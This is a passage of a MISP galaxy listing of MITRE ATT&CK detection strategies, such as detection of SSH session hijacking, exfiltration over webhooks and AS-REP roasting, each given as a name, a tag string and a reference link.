https://attack.mitre.org/detectionstrategies/DET0608

Detection of Remote Service Session Hijacking - DET0079

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Remote Service Session Hijacking - DET0079"*

Table 10310. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0079

Detection of Gather Victim Org Information - DET0890

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Gather Victim Org Information - DET0890"*

Table 10311. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0890

Detection Strategy for Forged Web Cookies - DET0171

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Forged Web Cookies - DET0171"*

Table 10312. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171

Detection of Exfiltration Over C2 Channel - DET0615

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over C2 Channel - DET0615"*

Table 10313. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0615

Detection of Compromise Client Software Binary - DET0712

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Client Software Binary - DET0712"*

Table 10314. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0712

Detection of Compromise Software Supply Chain - DET0721

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Software Supply Chain - DET0721"*

Table 10315. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0721

Detection Strategy for Email Hiding Rules - DET0192

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Email Hiding Rules - DET0192"*

Table 10316. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0192

Detection Strategy for Escape to Host - DET0219

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Escape to Host - DET0219"*

Table 10317. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0219

Clipboard Data Access with Anomalous Context - DET0341

The tag is: *misp-galaxy:x-mitre-detection-strategy="Clipboard Data Access with Anomalous Context - DET0341"*

Table 10318. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0341

Detection Strategy for Exfiltration Over Webhook - DET0153

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration Over Webhook - DET0153"*

Table 10319. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153

Detection of Data from Local System - DET0713

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data from Local System - DET0713"*

Table 10320. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0713

Application Exhaustion Flood Detection Across Platforms - DET0415

The tag is: *misp-galaxy:x-mitre-detection-strategy="Application Exhaustion Flood Detection Across Platforms - DET0415"*

Table 10321. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0415

Detection Strategy for Power Settings Abuse - DET0417

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Power Settings Abuse - DET0417"*

Table 10322. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0417

Detection Strategy for Forged SAML Tokens - DET0148

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Forged SAML Tokens - DET0148"*

Table 10323. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148

Detection of Gather Victim Identity Information - DET0841

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Gather Victim Identity Information - DET0841"*

Table 10324. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0841

Behavioral Detection of Command History Clearing - DET0165

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Command History Clearing - DET0165"*

Table 10325. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165

Detection of Indicator Removal on Host - DET0651

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Indicator Removal on Host - DET0651"*

Table 10326. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0651

Detection Strategy for Cloud Infrastructure Discovery - DET0169

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Infrastructure Discovery - DET0169"*

Table 10327. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0169

Detection of Code Signing Policy Modification - DET0619

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Code Signing Policy Modification - DET0619"*

Table 10328. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0619

Detection of Replication Through Removable Media - DET0691

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Replication Through Removable Media - DET0691"*

Table 10329. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0691

Behavioral Detection of Permission Groups Discovery - DET0179

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Permission Groups Discovery - DET0179"*

Table 10330. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0179

Detection Strategy for Virtual Machine Discovery - DET0199

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Virtual Machine Discovery - DET0199"*

Table 10331. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0199

Detection Strategy for ESXi Administration Command - DET0232

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for ESXi Administration Command - DET0232"*

Table 10332. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0232

Detect Hybrid Identity Authentication Process Modification - DET0293

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Hybrid Identity Authentication Process Modification - DET0293"*

Table 10333. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293

Detection Strategy of Transmitted Data Manipulation - DET0254

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy of Transmitted Data Manipulation - DET0254"*

Table 10334. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0254

Detection of Abuse Elevation Control Mechanism - DET0642

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Abuse Elevation Control Mechanism - DET0642"*

Table 10335. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0642

Detect Malicious Password Filter DLL Registration - DET0472

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Malicious Password Filter DLL Registration - DET0472"*

Table 10336. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0472

Detect Modification of macOS Startup Items - DET0429

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Modification of macOS Startup Items - DET0429"*

Table 10337. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0429

Detection Strategy for System Services: Launchctl - DET0265

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Services: Launchctl - DET0265"*

Table 10338. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0265

Detection Strategy for SSH Session Hijacking - DET0256

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for SSH Session Hijacking - DET0256"*

Table 10339. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0256

Detection of Endpoint Denial of Service - DET0627

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Endpoint Denial of Service - DET0627"*

Table 10340. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0627

Detection of File and Directory Discovery - DET0682

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of File and Directory Discovery - DET0682"*

Table 10341. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0682

Detection of Gather Victim Host Information - DET0826

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Gather Victim Host Information - DET0826"*

Table 10342. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0826

Detection of Exploitation for Client Execution - DET0629

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploitation for Client Execution - DET0629"*

Table 10343. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0629

Detection Strategy for Hidden User Accounts - DET0353

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden User Accounts - DET0353"*

Table 10344. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0353

Detect Compromise of Host Software Binaries - DET0336

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Compromise of Host Software Binaries - DET0336"*

Table 10345. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0336

Detection of Credentials from Password Store - DET0633

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Credentials from Password Store - DET0633"*

Table 10346. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0633

Detection of System Network Configuration Discovery - DET0634

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Network Configuration Discovery - DET0634"*

Table 10347. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0634

Behavioral Detection of Unix Shell Execution - DET0384

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Unix Shell Execution - DET0384"*

Table 10348. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0384

Behavioral Detection of Internet Connection Discovery - DET0357

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Internet Connection Discovery - DET0357"*

Table 10349. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0357

Detection Strategy for Cloud Application Integration - DET0539

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Application Integration - DET0539"*

Table 10350. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0539

Detection of System Network Connections Discovery - DET0636

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Network Connections Discovery - DET0636"*

Table 10351. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0636

Detection of Exploitation of Remote Services - DET0663

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploitation of Remote Services - DET0663"*

Table 10352. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0663

Detection of Disable or Modify Tools - DET0693

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Disable or Modify Tools - DET0693"*

Table 10353. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0693

Detection of Network Denial of Service - DET0639

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Denial of Service - DET0639"*

Table 10354. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0639

Abuse of PowerShell for Arbitrary Execution - DET0455

The tag is: *misp-galaxy:x-mitre-detection-strategy="Abuse of PowerShell for Arbitrary Execution - DET0455"*

Table 10355. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0455

Detection Strategy for Cloud Administration Command - DET0545

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Administration Command - DET0545"*

Table 10356. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0545

Detection of Command and Scripting Interpreter - DET0655

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Command and Scripting Interpreter - DET0655"*

Table 10357. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0655

Detection Strategy for System Language Discovery - DET0565

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Language Discovery - DET0565"*

Table 10358. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0565

Detection of Steal Application Access Token - DET0656

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Steal Application Access Token - DET0656"*

Table 10359. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0656

Detection of Exploitation for Privilege Escalation - DET0665

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploitation for Privilege Escalation - DET0665"*

Table 10360. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0665

Detect Unauthorized Access to Password Managers - DET0597

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Unauthorized Access to Password Managers - DET0597"*

Table 10361. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0597

Detection Strategy for Device Driver Discovery - DET0579

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Device Driver Discovery - DET0579"*

Table 10362. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0579

Detection of Exploitation for Initial Access - DET0666

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploitation for Initial Access - DET0666"*

Table 10363. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0666

Detection of Search Threat Vendor Data - DET0866

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Threat Vendor Data - DET0866"*

Table 10364. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0866

Detection of Data Encrypted for Impact - DET0678

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Encrypted for Impact - DET0678"*

Table 10365. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0678

Detection of Out of Band Data - DET0688

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Out of Band Data - DET0688"*

Table 10366. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0688

Detection of Exfiltration Over Alternative Protocol - DET0698

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over Alternative Protocol - DET0698"*

Table 10367. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0698

Detection of System Runtime API Hijacking - DET0689

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Runtime API Hijacking - DET0689"*

Table 10368. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0689

Detection of Gather Victim Network Information - DET0869

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Gather Victim Network Information - DET0869"*

Table 10369. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0869

Supply-chain tamper in dependencies/dev-tools (manager→write/install→first-run→egress) - DET0009

The tag is: *misp-galaxy:x-mitre-detection-strategy="Supply-chain tamper in dependencies/dev-tools (manager→write/install→first-run→egress) - DET0009"*

Table 10370. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0009

Detect AS-REP Roasting Attempts (T1558.004) - DET0113

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect AS-REP Roasting Attempts (T1558.004) - DET0113"*

Table 10371. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0113

Detect Archiving via Utility (T1560.001) - DET0298

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Archiving via Utility (T1560.001) - DET0298"*

Table 10372. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0298

Detect Archiving via Library (T1560.002) - DET0268

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Archiving via Library (T1560.002) - DET0268"*

Table 10373. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0268

Setuid/Setgid Privilege Abuse Detection (Linux/macOS) - DET0110

The tag is: *misp-galaxy:x-mitre-detection-strategy="Setuid/Setgid Privilege Abuse Detection (Linux/macOS) - DET0110"*

Table 10374. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0110

Detection of Search Victim-Owned Websites - DET0810

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Victim-Owned Websites - DET0810"*

Table 10375. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0810

Detection of USB-Based Data Exfiltration - DET0220

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of USB-Based Data Exfiltration - DET0220"*

Table 10376. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0220

Detection Strategy for Non-Standard Ports - DET0227

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Non-Standard Ports - DET0227"*

Table 10377. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0227

Multi-Platform Software Discovery Behavior Chain - DET0392

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Software Discovery Behavior Chain - DET0392"*

Table 10378. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0392

Detection Strategy for Wi-Fi Networks - DET0536

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Wi-Fi Networks - DET0536"*

Table 10379. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0536

Detection of Bluetooth-Based Data Exfiltration - DET0554

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Bluetooth-Based Data Exfiltration - DET0554"*

Table 10380. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0554

Template Injection Detection - Windows - DET0566

The tag is: *misp-galaxy:x-mitre-detection-strategy="Template Injection Detection - Windows - DET0566"*

Table 10381. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0566

Detection Strategy for File/Path Exclusions - DET0051

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for File/Path Exclusions - DET0051"*

Table 10382. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0051

Detection of Disguise Root/Jailbreak Indicators - DET0710

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Disguise Root/Jailbreak Indicators - DET0710"*

Table 10383. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0710

Detection of Search Open Websites/Domains - DET0856

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Open Websites/Domains - DET0856"*

Table 10384. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0856

Detection Strategy for VBA Stomping - DET0012

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for VBA Stomping - DET0012"*

Table 10385. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0012

Detection Strategy for Exclusive Control - DET0015

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exclusive Control - DET0015"*

Table 10386. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0015

Security Software Discovery Across Platforms - DET0016

The tag is: *misp-galaxy:x-mitre-detection-strategy="Security Software Discovery Across Platforms - DET0016"*

Table 10387. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0016

Detection of System Information Discovery - DET0601

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Information Discovery - DET0601"*

Table 10388. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0601

Detection Strategy for Spearphishing Links - DET0107

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Spearphishing Links - DET0107"*

Table 10389. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0107

Detection of Device Administrator Permissions - DET0630

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Device Administrator Permissions - DET0630"*

Table 10390. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0630

Internal Spearphishing via Trusted Accounts - DET0054

The tag is: *misp-galaxy:x-mitre-detection-strategy="Internal Spearphishing via Trusted Accounts - DET0054"*

Table 10391. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0054

Detection of Install Digital Certificate - DET0840

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Install Digital Certificate - DET0840"*

Table 10392. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0840

Detection Strategy for Command Obfuscation - DET0505

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Command Obfuscation - DET0505"*

Table 10393. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0505

Detection of Account Access Removal - DET0605

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Account Access Removal - DET0605"*

Table 10394. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0605

Detection Strategy for Data Manipulation - DET0059

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Data Manipulation - DET0059"*

Table 10395. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0059

Detection of Archive Collected Data - DET0670

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Archive Collected Data - DET0670"*

Table 10396. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0670

Detection of Determine Physical Locations - DET0806

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Determine Physical Locations - DET0806"*

Table 10397. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0806

Detection of Security Software Discovery - DET0680

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Security Software Discovery - DET0680"*

Table 10398. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0680

Account Manipulation Behavior Chain Detection - DET0096

The tag is: *misp-galaxy:x-mitre-detection-strategy="Account Manipulation Behavior Chain Detection - DET0096"*

Table 10399. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096

Detection of Uninstall Malicious Application - DET0690

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Uninstall Malicious Application -*

DET0690"

Table 10400. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0690

Detection of Social Media Accounts - DET0870

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Social Media Accounts - DET0870"*

Table 10401. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0870

Detection of Internet Connection Discovery - DET0708

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Internet Connection Discovery - DET0708"*

Table 10402. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0708

Detection of Purchase Technical Data - DET0880

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Purchase Technical Data - DET0880"*

Table 10403. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0880

Detection Strategy for Hide Infrastructure - DET0411

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hide Infrastructure - DET0411"*

Table 10404. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411

Detection Strategy for Embedded Payloads - DET0214

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Embedded Payloads - DET0214"*

Table 10405. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0214

Detection of Stored Application Data - DET0621

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Stored Application Data - DET0621"*

Table 10406. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0621

Detection Strategy for Hidden Windows - DET0128

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hidden Windows - DET0128"*

Table 10407. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0128

Domain Account Enumeration Across Platforms - DET0129

The tag is: *misp-galaxy:x-mitre-detection-strategy="Domain Account Enumeration Across Platforms - DET0129"*

Table 10408. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0129

Detection Strategy for Email Spoofing - DET0431

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Email Spoofing - DET0431"*

Table 10409. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0431

Detection of Proxy Through Victim - DET0631

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Proxy Through Victim - DET0631"*

Table 10410. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0631

Detection of Suppress Application Icon - DET0714

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Suppress Application Icon - DET0714"*

Table 10411. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0714

Detection of Social Media Accounts - DET0851

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Social Media Accounts - DET0851"*

Table 10412. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0851

Detection of Dead Drop Resolver - DET0617

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Dead Drop Resolver - DET0617"*

Table 10413. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0617

Detection of Protected User Data - DET0681

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Protected User Data - DET0681"*

Table 10414. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0681

Detection of Threat Intel Vendors - DET0816

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Threat Intel Vendors - DET0816"*

Table 10415. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0816

Detection of Scanning IP Blocks - DET0817

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Scanning IP Blocks - DET0817"*

Table 10416. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0817

Detection of Ingress Tool Transfer - DET0718

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Ingress Tool Transfer - DET0718"*

Table 10417. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0718

Detect disabled Windows event logging - DET0187

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect disabled Windows event logging - DET0187"*

Table 10418. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0187

Detection of Ptrace System Calls - DET0622

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Ptrace System Calls - DET0622"*

Table 10419. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0622

Detection of Search Closed Sources - DET0822

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Closed Sources - DET0822"*

Table 10420. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0822

Detection of Phishing for Information - DET0823

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Phishing for Information - DET0823"*

Table 10421. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0823

Detection of Remote Access Software - DET0624

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Remote Access Software - DET0624"*

Table 10422. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0624

Detection Strategy for Log Enumeration - DET0255

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Log Enumeration - DET0255"*

Table 10423. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0255

Detection of Impersonate SS7 Nodes - DET0662

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Impersonate SS7 Nodes - DET0662"*

Table 10424. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0662

Detection of Supply Chain Compromise - DET0628

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Supply Chain Compromise - DET0628"*

Table 10425. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0628

Detection of Network Trust Dependencies - DET0828

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Trust Dependencies - DET0828"*

Table 10426. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0828

Detection of Code Signing Certificates - DET0833

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Code Signing Certificates - DET0833"*

Table 10427. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0833

Detection Strategy for Content Injection - DET0349

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Content Injection - DET0349"*

Table 10428. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0349

Detection Strategy for Email Bombing - DET0355

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Email Bombing - DET0355"*

Table 10429. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0355

macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection - DET0395

The tag is: *misp-galaxy:x-mitre-detection-strategy="macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection - DET0395"*

Table 10430. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0395

Detection of Transmitted Data Manipulation - DET0683

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Transmitted Data Manipulation - DET0683"*

Table 10431. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0683

Detection of Virtual Private Server - DET0838

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Virtual Private Server - DET0838"*

Table 10432. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0838

Detection of Virtual Private Server - DET0854

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Virtual Private Server - DET0854"*

Table 10433. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0854

Detection Strategy for Financial Theft - DET0495

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Financial Theft - DET0495"*

Table 10434. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495

Detection of Event Triggered Execution - DET0647

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Event Triggered Execution - DET0647"*

Table 10435. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0647

Detection of Compromise Application Executable - DET0649

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Application Executable - DET0649"*

Table 10436. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0649

Detection of Hijack Execution Flow - DET0694

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Hijack Execution Flow - DET0694"*

Table 10437. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0694

Detection of Identify Business Tempo - DET0849

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Identify Business Tempo - DET0849"*

Table 10438. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0849

Detection of Subvert Trust Controls - DET0657

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Subvert Trust Controls - DET0657"*

Table 10439. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0657

Detection of Application Layer Protocol - DET0685

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Application Layer Protocol - DET0685"*

Table 10440. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0685

Detection of SIM Card Swap - DET0658

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of SIM Card Swap - DET0658"*

Table 10441. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0658

Detection Strategy for Input Injection - DET0568

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Input Injection - DET0568"*

Table 10442. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0568

Detection of Conceal Multimedia Files - DET0659

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Conceal Multimedia Files - DET0659"*

Table 10443. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0659

Detection of Code Signing Certificates - DET0875

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Code Signing Certificates - DET0875"*

Table 10444. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0875

Detection of Prevent Application Removal - DET0598

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Prevent Application Removal - DET0598"*

Table 10445. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0598

Detection of GUI Input Capture - DET0676

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of GUI Input Capture - DET0676"*

Table 10446. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0676

Detection of Domain Generation Algorithms - DET0669

